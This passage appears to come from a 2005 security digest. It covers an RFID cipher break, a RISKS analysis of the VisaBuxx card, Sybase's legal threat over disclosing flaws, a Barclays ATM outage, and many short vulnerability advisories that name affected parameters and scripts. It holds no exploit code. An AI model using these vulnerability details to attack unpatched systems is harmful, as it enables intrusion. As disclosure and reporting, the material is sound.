After uncovering a security weakness in a radio-frequency identification tag from Texas Instruments Inc., researchers from RSA Security Inc.'s RSA Laboratories and The Johns Hopkins University are now eyeing future exploits against other RFID products in the interests of better security, one of the researchers said this week. Meanwhile, TI will keep making the compromised RFID tag in order to meet the needs of applications more sensitive to speed and pricing than to privacy, according to a TI official.

The Johns Hopkins University Information Security Institute and RSA first publicized their findings about the RFID security hole in January. In a paper posted at www.rfidanalysis.org, the researchers claim that by cracking a proprietary cipher, or encryption algorithm in one of TI's DST (digital signature transponder) RFID tags, they were able to circumvent the tags' built-in security enough to buy gasoline and turn on a car's ignition. The researchers from Johns Hopkins and RSA reverse-engineered and emulated the 40-bit encryption over two months.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-03-24		bank account credit card transfer third party registration vulnerability fraud theft design flaw		
RISKS			23	81
RISKY US BANK VISA PRODUCT				

John Meissen analyzed the security flaws in a new Visa service:

US Bank has a Visa product targeted at teens (or rather, their parents), called VisaBuxx. It looks and acts like a standard Visa-logo debit card, but is more like a prepaid phone card - you pre-load it with value, and it's not directly tied to any bank account.

Their web site and marketing literature talk about being able to easily add value to the card by transferring money online from an existing US Bank checking account. Unfortunately, the system leaves a lot to be desired.

The usbank.com website has a link for the VisaBuxx program. When you click on it you're redirected to another site, called visabuxx.com. This site is apparently run by someone called "WildCard Systems". In order to transfer money from your US Bank checking account to the card you have to provide WildCard Systems with your checking account number and routing information and authorization to pull funds from the account, or give them your own debit card number. While WildCard Systems may be honorable and trustworthy, the risks in this are so obvious that it's painful. Meanwhile, the Terms Of Service published on the site go to great lengths to explicitly disavow any responsibility for anything bad that might result from the use of the site.

The correct way for the bank to have implemented this would have been to provide the ability to associate the card with your existing Internet banking identity, and then let you log in through the bank's website and tell them to send money from an account to the card rather than allowing the card operators to pull money from your account. Having the ability to provide account data to the VisaBuxx website is useful for non-US Bank customers, but a legitimate US Bank customer I shouldn't be forced to do it.

I find it mind-boggling that financial corporations still can't see the obvious when it comes to protecting customer account data. When dealing with an official bank product I should NEVER have to tell the application anything about my accounts.

Category 21.1 General QA failures

2005-03-25 **Sybase lawsuit threat flaw vulnerability open disclosure Next Generation Security**

EDUPAGE; <http://www.computerworld.com/>

SYBASE BLOCKS FLAW DISCLOSURE WITH THREAT TO SUE

California-based Sybase Inc. has threatened to sue U.K.-based Next Generation Security (NGS) Software Ltd. If that company discloses the details of eight security flaws it discovered in 2004 in Sybase database software, Adaptive Server Enterprise Version 12.5.3. NGS notified Sybase of the flaws, and Sybase released a patched and updated version of the software in February 2005. NGS policy mandates that it wait for vendors to issue patches before publicly releasing information on software flaws. The company chose not to make a public disclosure of the database holes after receiving the Sybase letter threatening to sue. According to an e-mail statement from a Sybase spokeswoman, the company was motivated to prevent the disclosure out of concern for its users' security. ComputerWorld, 25 March 2005

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-03-28		denial of service human error clock time data entry bank customers automated teller online services
RISKS; http://tinyurl.com/djrmz	23	82

HUMAN ERROR SHUTS DOWN BARCLAY'S AUTOMATED TELLER SYSTEM

Michael "Streaky" Bacon [no, really] reported on a service interruption for customers of the British Barclay's Bank. The following reorganizes parts of his report to RISKS.

On 27 Mar 2005, the UK put its clocks forward one hour. This apparently caused problems for Barclays Bank - one of the UK's leading banks - with ATMs and other online services unavailable to customers in the South of the country. The text of the Daily Telegraph's report on the failure is reproduced below.

Summer Time slip-up forces Barclays' cashpoints to close

The Daily Telegraph, 28 March 2005

Millions of Barclays customers were unable to withdraw money yesterday after the bank's cashpoint network crashed amid claims that a duty manager had accidentally put the clocks back instead of forward. More than 1,400 auto-tellers in the south of England and some on-line services were out of order. Barclays customers were unable to withdraw money from any bank, while cardholders with other banks were unable to use Barclays cash machines.

The error came to light at 4am on 27 Mar 2005 when technicians noticed that customers' personal details were not being forwarded to the computers that control much of the bank's infrastructure. The problem was eventually resolved at 5pm. Executives trying to determine the cause of the problem admitted that a mistake during the switch to British Summer Time could have been to blame. Customer services staff were less ambiguous. One admitted: "A manager put the clocks back instead of forward and that has caused enormous problems."

The bank's British network uses two servers based in Gloucestershire: one for operations north of the Wash and the other to control operations in the South. The Gloucester South server is understood to have been set one hour back instead of forward. The bank conceded that an error over the time change was to blame but denied that an individual manager made the mistake. Alistair Smith, a spokesman for the bank, said: "It seems that this problem may somehow be related to the time change, although I am told it was not to do with someone making a mistake while manually changing the time."

Mr Bacon then analyzes the situation as follows:

I would be surprised if the bank relied upon the actions of a human to change the time on its servers. For example, if the servers are not time synchronised through an atomic clock receiver or from an NTP Time Server, it begs serious questions regarding the time-standing of transactions.

Bi-annual time changes have been a part of computing at least since the first commercial systems began processing. Surely 54 years is not too short a time to have worked out the risks and put in place procedures to deal with them.

If it was indeed a human error, perhaps the heading on the relevant page should read: "Spring forward, fall back".

Another puzzling factor is that it apparently took 11 hours (4 am to 5 pm) to determine and correct the problem. In my experience, the first thing to be blamed is the last thing that was changed.

Category 21.1 General QA failures
2005-03-29 **EncapsBB vulnerability root file inclusion no update issued**
DHS IAIP Daily; <http://secunia.com/advisories/14761/>
ENCAPSBB "ROOT" FILE INCLUSION VULNERABILITY.

A vulnerability has been reported in EncapsBB, which can be exploited by malicious people to compromise a vulnerable system. Input passed to the "root" parameter in "index_header.php" isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from external and local resources. Successful exploitation requires that "register_globals" is enabled. There is no solution at this time.

Category 21.1 General QA failures
2005-03-29 **phpCOIN vulnerability SQL injection command execution attack update issued**
DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Mar/1013592.html>
PHPCOIN LETS REMOTE USERS INJECT SQL COMMANDS AND EXECUTE ARBITRARY FILES ON THE TARGET SYSTEM.

A vulnerability was reported in phpCOIN. A remote user can execute arbitrary files located on the target system. A remote user can also inject SQL commands. The software does not properly validate user-supplied input in the search engine query, the username and email fields when requesting a forgotten password, and in the domain name field when ordering a product. A remote user can supply specially crafted values to execute SQL commands on the underlying database. The vendor has issued a fixed version (1.2.2), available at: <http://www.phpcoin.com/auxpage.php?page=download>

Category 21.1 General QA failures
2005-03-30 **Sylpheed application Multipurpose Internet Mail Extensions MIME attachment filename buffer overflow vulnerability system compromise update issued**
DHS IAIP Daily; <http://secunia.com/advisories/14756/>
SYLPHEED MIME-ENCODED ATTACHMENT FILENAME BUFFER OVERFLOW.

A vulnerability has been reported in Sylpheed, which potentially can be exploited by malicious people to compromise a user's system. The vulnerability is caused due to a boundary error when displaying messages containing attachments with MIME-encoded filenames. This can be exploited to cause a buffer overflow via a specially crafted message. Update to version 1.0.4: <http://sylpheed.good-day.net/>

Category 21.1 General QA failures
2005-04-01 **NetVault buffer overflow vulnerability code execution attack no update issued**
DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Apr/1013625.html>
NETVAULT BUFFER OVERFLOWS LET LOCAL AND REMOTE USERS EXECUTE ARBITRARY CODE

A vulnerability exists in the processing of the 'configure.cfg' file. A local user with access to the file can create a computername 'Name=' entry that is longer than 111 bytes. When the NetVault Process Manager service starts (or restarts), a buffer overflow will be triggered and arbitrary code executed with System privileges. A remote user can connect to the target system on port 20031 and supply a specially crafted 'clientname' entry in the 'Available NetVault Machines' list to trigger a heap overflow and execute arbitrary code on the target server. A local user with write access to the 'configure.cfg' file can execute arbitrary code with System level privileges. No solution is currently available.

Category 21.1 General QA failures
2005-04-05 **BakBone NetVault heap based buffer overflow vulnerabilities system compromise no update issued**
DHS IAIP Daily; <http://secunia.com/advisories/14814/>
BAKZONE NETVAULT BUFFER OVERFLOW VULNERABILITIES

Some vulnerabilities in BakBone NetVault, which can be exploited by malicious people to compromise a vulnerable system. The vulnerabilities are caused due to some boundary errors in the communication handling. This can be exploited to cause a heap-based buffer overflow by sending some specially crafted traffic to port 20031. There is no vendor solution at this time.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-04-11		Maxtheon security ID disclosure vulnerability system compromise directory traversal attack update issued

DHS IAIP Daily; <http://www.secunia.com/advisories/14918/>

MAXTHON SECURITY ID DISCLOSURE VULNERABILITY

A vulnerability has been reported in Maxthon, which can be exploited by malicious people to compromise a user's system. The vulnerability is caused due to a design error where the security ID of a plug-in is not properly protected from being included and accessed on an external website via the script tag. This can be exploited to read and write arbitrary files via the "readFile()" and "writeFile()" API functions via directory traversal attacks. Update to version 1.2.2:
<http://www.maxthon.com/download.htm>

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-04-11		CA BrightStor ARCserve Backup remote buffer overflow vulnerability command execution attack update issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0334>

CA BRIGHTSTOR ARCSERVE BACKUP REMOTE BUFFER OVERFLOW VULNERABILITY

A buffer overflow vulnerability was identified in Computer Associates BrightStor ARCserve Backup UniversalAgent, which may be exploited by remote attackers to execute arbitrary commands. The flaw occurs when handling malformed requests containing a specially crafted "option" field (port 6050/TCP/UDP), which may be exploited by unauthenticated attackers to run arbitrary code with SYSTEM privileges. Refer to Source link for solutions.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-04-11		ModernBill cross site scripting file inclusion vulnerabilities cross site scripting attack

DHS IAIP Daily; <http://secunia.com/advisories/14890/>

MODERNBILL CROSS-SITE SCRIPTING AND FILE INCLUSION VULNERABILITIES

Some vulnerabilities have been reported in ModernBill, which can be exploited by malicious people to conduct cross-site scripting attacks and compromise a vulnerable system. Input passed to the "c_code" and "aid" parameters in "orderwiz.php" isn't properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of a vulnerable site. Input passed to the "DIR" parameter in "news.php" isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from external and local resources. Update to version 4.3.1.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-04-12		Microsoft security bulletin critical important updates Windows XP Server 2003 2000 2K Internet Explorer IE Word MSN Messenger

DHS IAIP Daily; <http://www.microsoft.com/technet/security/bulletin/ms05-apr.mspx>

MICROSOFT RELEASES APRIL 2005 SECURITY BULLETINS

Microsoft released its security bulletins for April 2005. There are five "Critical" (MS05-019 – MS05-023) and three "Important" (MS05-016 – MS05-018) updates. Software affected includes: Windows Server 2003, Windows XP SP1 and SP2, Windows XP 64-Bit Edition SP1 and 2003 (Itanium), Windows 2000 SP3 and SP4, Windows ME, Windows 98 SE, Windows 98, Internet Explorer, Word, Works Suite, Exchange Server 2003, 2003 SP1 and 2000 SP3, and MSN Messenger 6.2. Impact ranges from Denial of Service to remote code execution. Updates are available through the Source link and the US-CERT has provided additional information in "Technical Cyber Security Alert TA05-102A: Multiple Vulnerabilities in Microsoft Windows Components." US-CERT Website: <http://www.us-cert.gov/cas/techalerts/TA05-102A.html>

Category 21.1

General QA failures

2005-04-12

K Desktop Environment KDE buffer overflow vulnerability system compromise code execution attack no update issued

DHS IAIP Daily; <http://secunia.com/advisories/14908/>

KDE KDELIBS PCX IMAGE BUFFER OVERFLOW VULNERABILITY

A vulnerability in KDE kdelibs, which potentially can be exploited by malicious people to compromise a vulnerable system. The vulnerability is caused due to an error in the kimgio component when processing PCX image files. This may be exploited via a specially crafted image file to execute arbitrary code via an application linked against the vulnerable library. No vendor solution available.

Category 21.1

General QA failures

2005-04-13

Lotus Notes/Domino multiple vulnerabilities denial of service DoS system compromise attack update issued

DHS IAIP Daily; <http://secunia.com/advisories/14879/>

LOTUS NOTES/DOMINO MULTIPLE VULNERABILITIES

Some vulnerabilities have been reported in Lotus Notes/Domino, which can be exploited by malicious people to cause a Denial of Service or compromise a vulnerable system. These vulnerabilities are due to boundary and format string errors. Update to Lotus Notes and Domino release 6.5.4 or 6.0.5.

Category 21.1

General QA failures

2005-04-19

Concurrent Versioning System CVS buffer overflow memory leak vulnerability code execution denial of service DoS attack update issued

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Apr/1013759.html>

CVS BUFFER OVERFLOWS AND MEMORY LEAKS MAY LET REMOTE USERS EXECUTE ARBITRARY CODE OR DENY SERVICE

Several vulnerabilities were reported in Concurrent Versions System (CVS). A remote user may be able to trigger a buffer overflow and execute arbitrary code on the target system or cause the CVS service to crash. Some memory allocation, memory leak, and NULL pointer errors also exist and may allow a remote user to cause denial of service conditions. Fix available (1.11.20 stable version; 1.12.12 feature version): <https://ccvs.cvshome.org/servlets/ProjectDownloadList>

Category 21.1

General QA failures

2005-04-21

MySQL multiple remote vulnerabilities corrupt file malicious library execution attack update issued

DHS IAIP Daily; <http://www.securityfocus.com/bid/12781/discussion/>

MYSQL AB MYSQL MULTIPLE REMOTE VULNERABILITIES

MySQL is reported prone to multiple vulnerabilities that can be exploited by a remote authenticated attacker to corrupt files with the privileges of the MySQL process, to manipulate functions in order to control sensitive data structures, and to execute a malicious library in the context of the MySQL process. Vendor solutions are available through Source link.

Category 21.1

General QA failures

2005-04-21

Netref file creation vulnerability system compromise no update issued

DHS IAIP Daily; <http://secunia.com/advisories/15040/>

NETREF FILE CREATION VULNERABILITY

A vulnerability in Netref, which can be exploited by malicious people to compromise a vulnerable system. Input passed to the "ad_direct" and "m_for_racine" parameters in "script/cat_for_gen.php" isn't properly verified before being used. This can be exploited to create a file with an arbitrary filename where the content can be controlled. No vendor solution is currently available.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-04-25		MySQL MaxDB stack buffer overflow vulnerabilities command execution update issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0389>

MYSQL MAXDB WEBTOOL REMOTE STACK OVERFLOW VULNERABILITIES

Two vulnerabilities were identified in MySQL MaxDB, which may be exploited by remote attackers to execute arbitrary commands. These vulnerabilities are due to a stack overflow error and a lack of bounds checking. Update to MySQL MaxDB version 7.5.00.26: <http://dev.mysql.com/downloads/maxdb/7.5.00.html>

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-04-27		NetTerm NetFtpd buffer overflow vulnerability command execution attack update issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0407>

NETTERM NETFTP D REMOTE USER AUTHENTICATION BUFFER OVERFLOW

A buffer overflow vulnerability was identified in NetFtpd, which could be exploited by remote attackers to execute arbitrary commands. The flaw resides in the authentication procedure and occurs when handling a specially crafted USER command, which could be exploited by a remote attacker to execute arbitrary code and compromise a vulnerable system. Upgrade to NetTerm version 5.1.1.1 or remove the NetFtpd application.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-04-27		Oracle multiple product vulnerabilities code execution information disclosure denial of service DoS attack alert

DHS IAIP Daily; <http://www.us-cert.gov/cas/techalerts/TA05-117A.html>

ORACLE PRODUCTS CONTAIN MULTIPLE VULNERABILITIES

Various Oracle products and components are affected by multiple vulnerabilities. The impacts of these vulnerabilities include unauthenticated, remote code execution, information disclosure, and denial of service. Oracle released a Critical Patch Update in April that addresses more than seventy vulnerabilities in different Oracle products and components. The Critical Patch Update provides information about which components are affected, what access and authorization are required, and how data confidentiality, integrity, and availability may be impacted. US-CERT strongly recommends that sites running Oracle review the Critical Patch Update, apply patches, and take other mitigating action as appropriate. Critical Patch Update: http://www.oracle.com/technology/deploy/security/pdf/cpuapr2_005.pdf

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-05-30		vulnerability hole Microsoft Windows operating system OS Remote Desktop protocol server private key disclosure DLL public key hardcoding design error no solution

DHS IAIP Daily; <http://www.securityfocus.com/bid/13818/info/>

MICROSOFT WINDOWS REMOTE DESKTOP PROTOCOL SERVER PRIVATE KEY DISCLOSURE VULNERABILITY

The vulnerability presents itself because a private key that is used to sign the Terminal Server public key is hardcoded in a DLL. This allows the attacker to disclose the key and calculate a valid signature to carry out man in the middle attacks. An attacker could therefore cause the client to connect to a server under their control and send the client a public key to which they possess the private key. There is no solution at this time.

Category 21.1 General QA failures
2005-05-31 **vulnerability hole PHP4 PHP5 SSI local remote arbitrary code execution vendor solutions**

DHS IAIP Daily; <http://www.securityfocus.com/bid/11964>

PHP MULTIPLE LOCAL AND REMOTE VULNERABILITIES

PHP4 and PHP5 are reported prone to multiple local and remote vulnerabilities that may lead to code execution within the context of the vulnerable process. PHP safe_mode_exec_dir is reported prone to an access control bypass vulnerability. A local attacker that can manipulate the directory name from which the PHP script is called, may bypass 'safe_mode_exec_dir' restrictions by placing shell metacharacters and restricted commands into the directory name of the current directory. This may allow them to gain access to potentially sensitive information, such as database credentials. Refer to Source link below for vendor solutions.

Category 21.1 General QA failures
2005-05-31 **vulnerability hole MyBB bulletin board cross-site scripting SQL injection user input checking database exploitation**

DHS IAIP Daily; <http://www.securityfocus.com/bid/13827>

MYBB MULTIPLE CROSS-SITE SCRIPTING AND SQL INJECTION VULNERABILITIES

MyBB is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user supplied input. The application is prone to multiple SQL injection vulnerabilities. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. Updates available at:
<http://mybboard.com/community/attachment.php?aid=862>

Category 21.1 General QA failures
2005-05-31 **vulnerability hole Microsoft Windows operating system OS Hyperlink Object Library buffer overflow arbitrary code execution privilege execution**

DHS IAIP Daily; <http://www.securityfocus.com/bid/12479>

MICROSOFT WINDOWS HYPERLINK OBJECT LIBRARY BUFFER OVERFLOW VULNERABILITY

The Microsoft Windows Hyperlink Object Library is reported prone to a buffer overflow vulnerability. An attacker may exploit this condition to execute arbitrary code on a vulnerable computer, which may grant unauthorized access to the computer or lead to privilege escalation. It is reported that issue presents itself when a user follows a malformed link specially crafted by an attacker, however, other attack vectors also exist to exploit this vulnerability. Specifically, an application that employs the affected library by accepting and supplying parameters to the library may allow an attacker to exploit this vulnerability remotely and without user interaction. Updates available through Source link below.

Category 21.1 General QA failures
2005-06-01 **vulnerability hole PeerCast URL remote format string arbitrary command execution denial-of-service DoS solution upgrade**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0651>

PEERCAST MALFORMED URL REMOTE FORMAT STRING VULNERABILITY

A vulnerability was identified in PeerCast, which may be exploited by remote attackers to execute 10 arbitrary commands or cause a denial of service. This flaw is due to a format string error when handling specially crafted HTTP requests (port 7144), which may be exploited by remote attackers to crash or compromise a vulnerable server. Upgrade to PeerCast version 0.1212:
<http://www.peercast.org/download.php>

Category 21.1 General QA failures
2005-06-01 **vulnerability Microsoft Outlook Express file processing extension obfuscation**
DHS IAIP Daily; <http://www.securityfocus.com/bid/13837/info>
MICROSOFT OUTLOOK EXPRESS ATTACHMENT PROCESSING FILE EXTENSION OBFUSCATION VULNERABILITY

Microsoft Outlook Express is prone to an attachment file extension obfuscation vulnerability that may present a risk under certain configurations. Reports indicate that this may be leveraged to make the attached email message executable. It is possible to cause a default file handler to be invoked to process the attached email message and potentially allowing for code execution. This issue may lure a victim into a false sense of security and may result in inadvertent or unintentional execution of attacker supplied code. There is no solution at this time.

Category 21.1 General QA failures
2005-06-01 **vulnerability hole NASM IEEE_PUTASCII buffer overflow unauthorized access**
DHS IAIP Daily; <http://www.securityfocus.com/bid/13506>
NASM IEEE_PUTASCII REMOTE BUFFER OVERFLOW VULNERABILITY

NASM is prone to a remote buffer overflow vulnerability. An attacker exploits this issue by crafting a malicious source file to be assembled by the application. This file is sent to an affected user and if the user loads the file in NASM, the attack may result in arbitrary code execution. The attacker may then gain unauthorized access in the context of the user running NASM. Refer to Source link below for vendor solutions.

Category 21.1 General QA failures
2005-06-01 **vulnerability hole Symantec Brightmail AntiSpam information disclosure remote database access**
DHS IAIP Daily; <http://www.securityfocus.com/bid/13828>
SYMANTEC BRIGHTMAIL ANTISPAM REMOTE INFORMATION DISCLOSURE VULNERABILITY

Symantec Brightmail AntiSpam is susceptible to a remote information disclosure vulnerability. This issue is due to a failure of the application to properly ensure that remote database access is properly disabled. Original advisory and updates: <http://securityresponse.symantec.com/avcenter/security/Content/2005.05.31a.html>

Category 21.1 General QA failures
2005-06-04 **remote vulnerability hole Bluetooth Protocol device pairing PIN no solution**
DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0689>
BLUETOOTH PROTOCOL DEVICE PAIRING PROCESS REMOTE VULNERABILITY

A vulnerability was identified in the Bluetooth Protocol, which may be exploited by remote attackers to bypass certain security measures. This flaw is due to a design error in the pairing process initialized by two Bluetooth devices in order to create a shared secret value, which may be exploited by an attacker to force the repairing process, determine a valid link key, crack the PIN (Personal Identification Number) and potentially hijack all the messages transferred between two Bluetooth devices. There is no solution at this time.

Category 21.1 General QA failures
2005-06-06 **vulnerability hole Sun Solaris privilege escalation**
DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Jun/1014108.html>
SUN SOLARIS LIBC __INIT_SUID_PRIV() LETS LOCAL USERS GAIN ELEVATED PRIVILEGES

A vulnerability was reported in libc and libproject on Sun Solaris. A local user may be able to gain elevated privileges. A local user can invoke libproject(3LIB) to trigger a flaw in the libc(3LIB) __init_suid_priv() function and gain elevated privileges. Original advisory and update: <http://sunsolve.sun.com/search/document.do?assetkey=1-26-101 740-1>

Category 21.1 General QA failures
2005-06-06 **vulnerability hole PortailPHP SQL injection exploit database implementation**
DHS IAIP Daily; <http://www.securityfocus.com/bid/13708/exploit>
PORTAILPHP ID PARAMETER SQL INJECTION VULNERABILITY

PortailPHP is prone to an SQL injection vulnerability. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. No solution is currently available.

Category 21.1 General QA failures
2005-06-07 **vulnerability hole input validation user input sanitization failure arbitrary code execution PHP cross-site scripting information access solution upgrade**
DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0697>
FLATNUKE MULTIPLE INPUT VALIDATION VULNERABILITIES

Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user supplied input prior to using it in application critical actions such as generating Web content or loading scripts. An attacker may leverage these issues to execute arbitrary PHP code, execute client side script code in the browsers of unsuspecting users through cross site scripting attacks, and gain access to sensitive information. Other attacks are also possible. Upgrade to FlatNuke version 2.5.4: http://sourceforge.net/project/showfiles.php?group_id=93076&package_id=98622

Category 21.1 General QA failures
2005-06-08 **vulnerability hole IBM AIX operating system buffer overflow arbitrary code execution no solution**

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Jun/1014132.html>
IBM AIX BUFFER OVERFLOWS LET LOCAL USERS EXECUTE ARBITRARY CODE

Several vulnerabilities were reported in IBM's AIX operating system, affecting the vscout, paginit, diagTasksWebSM, getlvname, and swcons commands and multiple "p" commands. A local user can supply specially crafted command line parameters to trigger a buffer overflow in the invscout, paginit, diagTasksWebSM, getlvname, and swcons commands and execute arbitrary code, potentially with root privileges. No solution is currently available.

Category 21.1 General QA failures
2005-06-09 **vulnerability Cisco Voice VLAN 802.1x authentication bypass CDP packet spoofing**
DHS IAIP Daily; <http://www.securityfocus.com/bid/13902/discuss>
CISCO VOICE VLAN 802.1X AUTHENTICATION BYPASS VULNERABILITY

Cisco switches are susceptible to an authentication bypass vulnerability, allowing attackers to gain anonymous access to the voice VLAN. Attackers may spoof CDP packets, and impersonate a Cisco IP phone, in order to anonymously join the voice VLAN. This allows attackers to gain access to network resources without the expected 802.1x authentication sequence. As network administrators expect that switch port access is restricted to only authenticated users, a false sense of security may pervade. Vendor advisory and workarounds: <http://www.cisco.com/warp/public/707/cisco-sn-20050608-8021x.shtml>

Category 21.1 General QA failures
2005-06-09 **vulnerability hole IBM AIX operating system buffer overflow arbitrary code execution no solution**

DHS IAIP Daily; <http://www.securityfocus.com/bid/13914/discuss>
IBM AIX GETLVNAME COMMAND LINE ARGUMENT LOCAL BUFFER OVERFLOW VULNERABILITY

IBM AIX getlvname is prone to a local buffer overflow vulnerability. A buffer overflow exists in the handling of the commandline arguments to getlvname. When parsing and concatenating the supplied arguments a length parameter is not checked and a typical overflow occurs. A successful attack allows arbitrary machine code execution with super user privileges, facilitating privilege escalation. Vendor solution is pending.

Category 21.1 General QA failures
2005-06-09 **software vulnerability tcpdump BGP decoding infinite loop denial-of-service DoS ISIS packets**

DHS IAIP Daily; <http://www.securityfocus.com/advisories/8671>

TCPDUMP BGP DECODING ROUTINES DENIAL OF SERVICE VULNERABILITY

TCPDUMP is prone to a vulnerability that may allow a remote attacker to cause a denial of service condition in the software. The issue occurs due to the way tcpdump decodes Border Gateway Protocol (BGP) packets. A remote attacker may cause the software to enter an infinite loop by sending malformed ISIS packets resulting in the software hanging. Updates are available from vendors.

Category 21.1 General QA failures
2005-06-13 **vulnerability eTrace plugin shell command no solution**

DHS IAIP Daily; <http://secunia.com/advisories/15678/>

E107 ETRACE PLUGIN SHELL COMMAND INJECTION VULNERABILITY

A vulnerability in the eTrace plugin for e107, which can be exploited by malicious people to compromise a vulnerable system. Input passed to the "etrace_cmd" and "etrace_host" parameters in "dotrace.php" isn't properly sanitized before being used in a "system()" call. This can be exploited to inject arbitrary shell commands. There is no solution at this time.

Category 21.1 General QA failures
2005-06-14 **Microsoft June 2005 security bulletin ten updates**

DHS IAIP Daily; <http://www.microsoft.com/technet/security/bulletin/ms05-jun.mspx>

MICROSOFT ISSUES JUNE SECURITY BULLETIN

Microsoft issued its security update for June on Tuesday, June 14. Of the ten updates (MS05-025 – MS05-034) issued for June, three are critical, four are important, and three are moderate. Affected products and components are Internet Explorer, Windows HTML Help, Windows Server Message Block, Web Client Server, Outlook Web Access for Exchange Server, Outlook Express, Step-by-Step Interactive Training, Microsoft Agent, Telnet Client, and ISA Server 2000. Impacts include remote code execution, information disclosure, and escalation of privilege. See Source link and individual bulletins for updates.

Category 21.1 General QA failures
2005-06-15 **vulnerability hole Bitrix Site Manager exploit Web server arbitrary code execution no solution**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0779>

BITRIX SITE MANAGER REMOTE PHP FILE INCLUSION VULNERABILITY

A vulnerability was identified in Bitrix Site Manager, which may be exploited by attackers to compromise a vulnerable web server. This flaw is due to an input validation error in the "index.php" script when processing a specially crafted "SERVER[DOCUMENT_ROOT]" variable, which may be exploited by attackers to include arbitrary files and execute remote commands with the privileges of the web server. There is no solution at this time.

Category 21.1 General QA failures
2005-06-16 **vulnerability gedit filename format string arbitrary code execution**

DHS IAIP Daily; <http://www.securityfocus.com/bid/13699/solution>

GEDIT FILENAME FORMAT STRING VULNERABILITY

gEdit is prone to a format string vulnerability. Exploitation may occur when the program is invoked with a filename that includes malicious format specifiers. This issue could be exploited to corrupt arbitrary regions of memory with attacker supplied data, potentially resulting in execution of arbitrary code in the context of the user running the program. See Source link below for vendor updates.

Category 21.1

General QA failures

2005-06-16

vulnerability hole ultimate PHP Board weak password encryption no solution

DHS IAIP Daily; <http://www.securityfocus.com/bid/13975>

ULTIMATE PHP BOARD WEAK PASSWORD ENCRYPTION VULNERABILITY

Ultimate PHP Board is prone to a weak password encryption vulnerability. This issue is due to a failure of the application to protect passwords with a sufficiently effective encryption scheme. This issue may allow a malicious user to gain access to user and administrator passwords for the affected application. There is no solution at this time.

Category 21.1

General QA failures

2005-06-17

vulnerability hole Adobe Reader 7 XML External Entity XXE JavaScript PDF update issued

DHS IAIP Daily; <http://www.zone-h.org/advisories/read/id=7674>

ADOBRE READER 7 VULNERABLE TO XML EXTERNAL ENTITY (XXE) ATTACK

Recent versions of Adobe Reader are vulnerable to XML External Entity (XXE) attacks. By including a JavaScript in a PDF file, and having this JavaScript parse an embedded XML document with a reference to an external entity, it is possible to read certain types of text files on the local computer, and have them sent to a remote attacker. Original advisory and updates available: <http://www.adobe.com/support/techdocs/331710.html>

Category 21.1

General QA failures

2005-06-17

vulnerability Sun Messaging server HTML injection attack no solution

DHS IAIP Daily; http://sunsolve.sun.com/search/document.do?assetkey=1-26-101_770-1

SUN ONE/IPLANET MESSAGING SERVER WEBMAIL MSIE HTML INJECTION VULNERABILITY

Sun ONE/iPlanet Messaging Server Webmail is prone to an HTML injection vulnerability. This issue may allow a remote attacker to inject hostile HTML and script code into the session of a Webmail user. Sun has stated that this issue only affects users who access Webmail with Internet Explorer. There is no solution at this time.

Category 21.1

General QA failures

2005-06-20

vulnerability hole Cisco VPN 3000 remote user valid groupnames updated version issued

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Jun/1014246.html>

CISCO VPN 3000 LETS REMOTE USERS DETERMINE VALID GROUPNAMES

A vulnerability was reported in the Cisco VPN 3000 concentrators. A remote user can determine valid groupnames. When groupname authentication is used, the system provides a different response to a connection request with a valid groupname than it does with an invalid groupname. A remote user can connect to the target system repeatedly and send an IKE Aggressive Mode packet using different groupnames to attempt to determine valid groupnames. The system will respond only to packets with a valid groupname. The vendor has released a fixed version (4.1.7.F).

Category 21.1

General QA failures

2005-06-21

vulnerability SpamAssassin remote denial-of-service DoS

DHS IAIP Daily; <http://www.securityfocus.com/bid/13978/solution>

SPAMASSASSIN MALFORMED EMAIL HEADER REMOTE DENIAL OF SERVICE VULNERABILITY

SpamAssassin is prone to a remote denial of service vulnerability. This issue is due to a failure of the application to properly handle overly long email headers. An attacker may cause SpamAssassin to take inordinate amounts of time to check a specially crafted email message. By sending many malicious messages, it may be possible for attackers to cause extremely large delays in email delivery, denying service to legitimate users. See Source link for solution.

Category 21.1 General QA failures
2005-06-22 **vulnerability hole Veritas Backup remote heap overflow privilege escalation update issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14023/solution>

VERITAS BACKUP EXEC ADMIN PLUS PACK OPTION REMOTE HEAP OVERFLOW VULNERABILITY

Veritas Backup Exec is affected by a remote heap overflow vulnerability. A remote attacker can exploit this issue by crafting and sending malicious data to the service and executing arbitrary code. Successful exploitation may result in a super user compromise. Original advisory and updates: <http://seer.support.veritas.com/docs/276607.htm>

Category 21.1 General QA failures
2005-06-22 **vulnerability hole Sun Java Web Start unauthorized access**

